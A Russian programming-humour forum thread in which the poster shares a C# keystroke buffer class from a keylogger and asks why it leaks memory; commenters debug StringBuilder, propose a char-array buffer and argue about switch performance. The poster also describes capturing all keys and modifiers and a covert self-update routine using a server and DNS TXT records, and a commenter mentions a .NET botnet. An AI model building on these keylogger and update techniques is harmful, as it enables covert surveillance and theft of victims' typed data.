1. C# / Говнокод #20420

    +7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    class Buffer
        {
            StringBuilder buffer = new StringBuilder("", 55);
    
            public void append(String symbol)
            {
                if (buffer.Length > 50)
                    writeToLog();
    
                buffer.Append(symbol);
            }
            
            public void removeLast()
            {
                if (buffer.Length == 0)
                    return;
    
                buffer.Length--;
            }
    
            private void writeToLog()
            {
                keylogFile.write(buffer.ToString());
    
                buffer.Clear();
    
                GC.Collect();
            }
        }

    Выдавил класс буфера для записи в лог с кейлоггера , так как нужно учитывать [backspace].
    Туда передаются строки по 1 символу , так вот если убрать в конце GC.Collect(); начинает течь память ,
    по 100кб где то в минуту при быстром наборе текста ,причем сама она уже потом не освобождается .

    Не могу понять, чем это может быть вызвано.С GC.Collect(); все отлично .

    Запостил: partizanes, 25 Июля 2016

    Комментарии (70) RSS

    • > buffer.Length--;
      так точно можно? не знал...
      Ответить
      • тут нашел
        http://stackoverflow.com/a/17215160
        Ответить
        • это какой-то говнопаттерг!
          http://referencesource.microsoft.com/#mscorlib/system/text/stringbuilder.cs,456
          почему при изменении проперти длины они меняют содержимое?
          мне кажется, что проблема кроется при Array.Copy. мне кажется там массивы утекают...
          Ответить
    • Почему не buffer.Remove()?
      Ответить
    • > по 100кб где то в минуту при быстром наборе текста ,причем сама она уже потом не освобождается .

      это однозначно ошибка пользователя. цитируя жабщиков с моей прошлой работы, потому что мемори лика в программе быть не может, потому что гарбэдж коллекшн.

      ЗЫ как не шарпщик, наивный код ревью: StringBuilder держит референсы на .Append()ed строки? попробуй не стрелять по воробьям из пушки, и поменяй StringBuilder на какую простую коллекцию/простую строку.
      Ответить
      • вообще, по сути stringbuilder это и есть специальная коллекция для строк. она хранит все строки в виде массивов чаров, которые структуры, а потом конкатинирует их и вовращает строку. она по сути сделана для для многократного добавления значений. просто если в цикле использовать value += "some value"; то у него будет 100500 различных value, а stringbuilder не страдает от этого.
        правда как я понял из статьи на dotnetpearls по поводу использования памяти в dotnnetpearls, у него внутри постоянно идут копирования массивов, что снижает производительность, и так же пораждает утечки, если вовремя не чистить память. короче, советую не использовать buffer.Length--;
        Ответить
        • До версии 4. После он стал блок чейном стринг билдеров.
          Ответить
    • > кейлоггер
      > C#
      Здравствуйте! Вы запустили вирус xXxDesTroyeRxXx! Для его работы, пожалуйста, установите .Net Framework не ниже 4.5 версии. В противном случае, запуск вируса будет невозможен. Спасибо за понимание!
      Ответить
      • +
        Ответить
      • Если приложение пишется под конкретный случай , то зачем учить другой язык?
        Ответить
        • Нецелесообразно™ учить другой язык.
          Ответить
        • Вот именно😂
          Потому я все и всегда пишу на масме, например веб сайт или базу данных
          Ответить
      • Я тоже так когда-то думал, но потом мы написали ботнет на дотнете. И хуле, сработало.
        Ответить
      • Да и как минимум с висты предустановлен NET 2.0.
        http://dropmefiles.com/imxCW
        Ответить
    • Не все бэкспейсы будут учитываться
      Ответить
      • Ты велкопоповецький козел
        Ответить
      • Надо половину буфера флушить тогда.
        Ответить
      • ну да в случае записи буфера , если следующий символ backspace . Тут это пока не учитывается .
        Ответить
        • Да пиши бекспейс тупо в буфер (как символ с кодом 8) и не парься. Потом разгребёшь, когда логи добудешь.
          Ответить
          • я изначально так и писал , но решил сделать все красиво :D
            как выше написали уже, можно записывать в файл половину буфера и удалять тока половину.
            Ответить
            • Писать сырые данные и фильтровать уже на своей тачке, имхо, красивей. Всегда можно алгоритм подкрутить, какие-нибудь стрелки учесть и т.п. А в полях ты так быстро не сможешь обновить код...
              Ответить
              • public static void startCheckUpdate()
                {
                var answer = Node.sendPost("98:" + version);

                if (answer.Contains("ok"))
                {
                Debug.WriteLine("Version check ok!");
                }
                else if (answer.Contains("http"))
                {

                на сервере php контролер :D

                В студии после сборки релиза с сменой версии , запускается батник , который выгружает все изменения на сервер. :D

                А урлы обновления хранятся в TXT записи домена ,клиент чекает версию постоянно :D
                Ответить
                • > чекает версию постоянно
                  Хех, когда-то все проги, любящие попроверять версию, моментально палились по треску в колонках (gprs, да), вычислялись по логу фаервола и выпиливались к хуям... А сейчас столько софта в сеть лезет, что и не заметишь.
                  Ответить
    • хуита
      Ответить
    • У меня такое ощущение, что нифига там не течёт. Просто GC поди лень запускаться на такой мелочи, пока до определённого порога не дойдёт.

      Попробуй стресс-тест ему устроить. Если перестанет "течь" и остановится на какой-то границе, то оно так и есть.
      Ответить
      • Я достаточно долго тестил и использование памяти росло с одинаковой скоростью, причем если даже потом ничего не делать и ждать(по идее gc при простое должен вызываться) , то память все равно не освобождается .

        Искал в куче в отладчике, но скила не хватило .
        Ответить
        • Ну а сколько набивалось то в итоге? Метров 50 или пара мегабайт?

          Надо именно стресс-тест, прям в цикле хуярить в буфер непрерывно. Руками ты такого не добьёшься.
          Ответить
          • счас сварганю тест
            Ответить
          • Что то или я в коде причесал или чет поменялось , но сегодня студия решила в sandboxe запускать и в ручном режиме баг не воспроизводится .
            При автоматическом тестировании выглядит так:
            http://dropmefiles.com/OOzhG
            код теста
            https://gist.github.com/anonymous/2679788d68b57cb45121c709f7172a12
            Ответить
            • Ну т.е. на 800кб перестаёт "течь"?
              Ответить
              • Сегодня я бы сказал он вообще не течет .
                Не пойму ,почему сегодня визуал студия дебаг запускает в отдельном процессе sandbox.
                Вчера когда тестил , оно запускалось ,как есть и утечки были ,более 400кб.

                Или сам туплю или лыжи не едут.
                Ответить
                • Вчера руткит на твоем компе записывал все нажатия а потребляемую память списывал на активный процесс, а сегодня уже вышел апдейт и теперь он вообще свою память в окне процессов не отображает.
                  Ответить
              • Воспроизвел, только получается , что в студии утечек нет , а в диспетчерe память выделяется
                Диспетчер http://dropmefiles.com/YBeCX
                Студия http://dropmefiles.com/MqrGh

                В конце видео перескочило на другой процесс.
                Ответить
    • 1. StringBuilder явно перебор.
      2. Если добавляем символы, то зачем использовать стринги.

      Как то так. Специи добавить по вкусу.
      public sealed class Buffer
      	{
      		private readonly char[] buffer;
      		private uint index;
      
      		public Buffer(uint capacity = 42) 
      		{
      			buffer = new char[capacity];
      			index = 0;
      		}
      
      		public void Add(char symbol)
      		{
      			if (index >= buffer.Length)
      				Flush();
      			buffer[index++] = symbol;
      		}
      
      		public void Pop()
      		{
      			if (index == 0)
      				return;
      			--index;
      		}
      
      		private void Flush()
      		{
      			var bytes = Encoding.UTF8.GetBytes(buffer, 0, (int)index);
      			// TODO: file.Write(bytes, 0, bytes.Length);
      			// TODO: file.Flush();
      			index = 0;
      		}
      	}
      Ответить
      • Можно, я похерю Вам настроение?
        Ответить
      • Может я не совсем корректно выразился , но иногда добавляется и строки в виде [F1] [TAB] [ESC] и тп.
        Ответить
        • Не вижу проблем :) Добавляем Add для строк...
          Ответить
        • а как же например shift, alt, ctrl? как ты фиксируешь их нажатие и отпускание? хранил бы реально коды символов, а потом бы уже реально собирал результат. просто если кто-то напишет больше 50 символов, а потом сотрет их как ты об этом узнаешь?
          напримел, написал там обзац, потом зажал backspace, и стер все это, а ты запишешь, что он удалил один символ в конце.
          Ответить
          • Сейчас в лог файл пишется ровно то что набирается включая регистр и язык ,все символы и нажатия любых клавиш .
            ←→↑↓ [F1] , для определения некоторых кнопок используется вот такая конструкция
            https://gist.github.com/anonymous/3b3242e42e45243b32fbddb1ed032e71
            для остальных VKCodeToUnicode . Что то парсится сложнее например [CTRL+C][CTRL+V].

            у кнопок есть состояние
            private const int KEY_PRESSED = 0x8000;
            определение нажатого шифта
            if (IsPressed(VirtualKeyStates.VK_SHIFT))

            При зажатии кнопки она будет постоянно слать сигнал и в целом будет учитывать .Как я уже писал выше , функция записи буфера дорабатывается и планируется , что будет записывать и удалять половину буфера.

            Суть увидеть набранный текст , а вообще задача учебная и кейлогер это всего лишь один из модулей .
            Ответить
            • > https://gist.github.com/anonymous/3b3242e42e45243b32fbddb1ed032e71
              switch?
              EDIT: или не хочется break писать?
              Ответить
              • Вопрос в том, а если в этом смысл, потому что если расположить по частоте использования ,то медленнее,чем switch точно не будет.
                Ответить
                • Ты недооцениваешь switch... Он всяко или через одно обращение к табличке работает или за логарифмическое количество сравнений.
                  Ответить
                  • Может кто вспомнит где мы это обсуждали? Там еще был выхлоп дизассемблера.
                    В жавке свич вроде бы за O(1)
                    Ответить

                    • Конечно за O(1)
                      Размер программы ведь O(1)
                      Ответить
                    • Поделитесь если найдете , интересно посмотреть
                      Ответить
                      • Помню, в си или цпп с гцц двоичный поиск был.
                        Ответить
                        • Это если сильный разброс. А если числа поплотнее стоят - втыкает табличку.
                          Ответить
                    • Есть аналог ideone который выдает дизасм скомпилированного кода?
                      Ответить
                    • https://godbolt.org/g/8HvBbR
                      Чет нихуя. Кто поправит?
                      Ответить
                      • А что значит нихуя? Вроде как двоичный поиск, О(logn). Пизжу, это я на автомате поправил косяки.

                        Ну и смотреть выхлоп компилятора без хотя бы О2 — бессмысленно
                        Ответить
                        • Ну поправь.
                          Ответить
                          • Начнём. Во-первых добавим -O3:
                            https://godbolt.org/g/f6xAod
                            Получилась хуйня, но получилась она логично — функция ничего не возвращает, побочных эффектов не содержит, поэтому тело функции не_нужно. Заставим её возвращать значение:
                            https://godbolt.org/g/EmyJnV
                            Получилась опять хуйня, потому что значение i не определено. Можно поиграть с компиляторами. Старый ГЦЦ вообще НЁХ выдаёт. Сделает i параметром функции:
                            https://godbolt.org/g/eYJhJm
                            Нет двоичного поиска. видимо потому, что на 4 элементах он нахуй не нужен. Добавим ещё 4:
                            https://godbolt.org/g/tdSQ5r
                            Теперь мы видим сочетание двоичного поиска (первый выбор) и линейного. Судя по всему, ГЦЦ прекращает двоичный поиск, когда элементов мало.
                            Ответить
                  • Свитч - основное средство написание кода, как и его брат - костыль. Нельзя его недооценивать
                    Ответить
                    • Свитч — это неэнтерпрайзно. Как и if и прочие циклы.

                      Можно на крайний случай делать всё наследованием и виртуальными функциями. А для ПИРФОМАНСА, нужно делать царский анролл в компайлтайме — шаблоны, специализированные на значениях свича/if. Или рекурсивно раскрывающиеся для циклов. Поэтому С++ рулит — такой хуйни в других языках нет.
                      Ответить
                      • Это уже Ынтрепрайз с капитаном Кирком (Джонсоном) и Пикардом.

                        Ебучий Visitor ничем не лучше свитча, инфа 100%
                        Ответить
              • > switch?
                map<K, V>, или как там его у вас в шарпе зовут.
                Ответить
                • dictionary
                  Ответить
                  • dictionary это hashmap.

                    Школьник вернулся, гы.
                    Ответить
                    • Привет, пидар.

                      Спешу ответить на твой вопрос. map в жабе - ынтерфейс, собственно dictionary ака idictionary - тоже, так что пошел нахуй
                      Ответить
                      • Нахуй пойдешь таки ты.
                        > dictionary ака idictionary
                        https://msdn.microsoft.com/ru-ru/library/xfhwa508(v=vs.110).aspx
                        Ответить
                        • ну, вообще если исходники посмотреть http://referencesource.microsoft.com/#mscorlib/system/collections/generic/dictionary.cs,d3599058f8d79be0, то одно и тоже
                          Ответить
    • StringBuilder .NET 2.0 и .NET 4.0 с байтоёбством :
      https://habrahabr.ru/post/172689/
      Ответить

    Добавить комментарий